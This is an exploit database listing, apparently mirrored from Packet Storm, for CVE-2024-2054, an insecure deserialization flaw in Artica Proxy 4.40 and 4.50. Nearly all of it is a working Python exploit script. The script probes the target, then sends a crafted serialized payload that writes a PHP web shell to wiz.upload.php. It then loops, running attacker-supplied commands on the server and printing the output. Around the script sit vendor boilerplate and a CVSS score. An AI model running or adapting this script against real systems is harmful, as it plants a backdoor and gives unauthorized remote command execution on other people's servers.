Lucene search
K

📄 Artica Proxy 4.50 Remote Code Execution

🗓️ 09 Apr 2025 00:00:00Reported by MadanType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 264 Views

Remote Code Execution vulnerability in Artica Proxy 4.50 due to insecure deserialization reported in CVE-2024-2054.

Related
Code
# Exploit Title: CVE-2024-2054 Artica-Proxy administrative web application insecure deserialization (RCE)
    # Google Dork:
    # Date: 23-04-2024
    # Exploit Author: Madan
    # Vendor Homepage: https://artica-proxy.com/
    # Version: 4.40, 4.50
    # Tested on: [relevant os]
    # CVE : CVE-2024-2054
    
    you can also find the exploit on my github repo:
    https://github.com/Madan301/CVE-2024-2054
    
    
    import requests
    import base64
    import urllib3
    from colorama import Fore
    
    print("Url format Ex: https://8x.3x.xx.xx:9000 the port 9000 might
    sometimes vary from how artica proxy interface is hosted")
    
    URL = input("Enter url: ")
    if URL[-1]=="/":
        ACTUAL_URL = URL[:-1]
    else:
        ACTUAL_URL = URL
    
    ARTICA_URL = ACTUAL_URL
    
    def check(ARTICA_URL):
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        try:
            check = requests.get(ARTICA_URL+'/wizard/wiz.upload.php',verify=False)
        except Exception as e:
            print(Fore.RED+"Could not reach, check URL")
        if check.status_code==200:
            print(Fore.GREEN+"Vulnerable")
            return True
        else:
            print(Fore.RED+"Not Vulnerable")
    
    
    def exploit(ARTICA_URL):
    
        payload = base64.b64encode(b"<?php system($_GET['cmd']); ?>").decode()
        payload_data = {
            "TzoxOToiTmV0X0ROUzJfQ2FjaGVfRmlsZSI": {
                "cache_file": "/usr/share/artica-postfix/wizard/wiz.upload.php",
                "cache_serializer": "json",
                "cache_size": 999999999,
                "cache_data": {
                    payload: {
                        "cache_date": 0,
                        "ttl": 999999999
                    }
                }
            }
        }
    
    
        while True:
            PAYLOAD_CMD = input("enter command: ")
            url = f"{ARTICA_URL}/wizard/wiz.wizard.progress.php?build-js={payload_data}"
            urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
            response = requests.get(url, verify=False)
            urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
            if response.status_code == 200:
                cmd_url = f"{ARTICA_URL}/wizard/wiz.upload.php?cmd={PAYLOAD_CMD}"
                cmd_response = requests.get(cmd_url, verify=False)
                urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
                print(cmd_response.text)
            else:
                print("Failed to execute the payload")
    
    check = check(ARTICA_URL=ACTUAL_URL)
    if check==True:
        exploit(ARTICA_URL=ARTICA_URL)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Apr 2025 00:00Current
9.7High risk
Vulners AI Score9.7
CVSS 3.19.8
EPSS0.87774
SSVC
264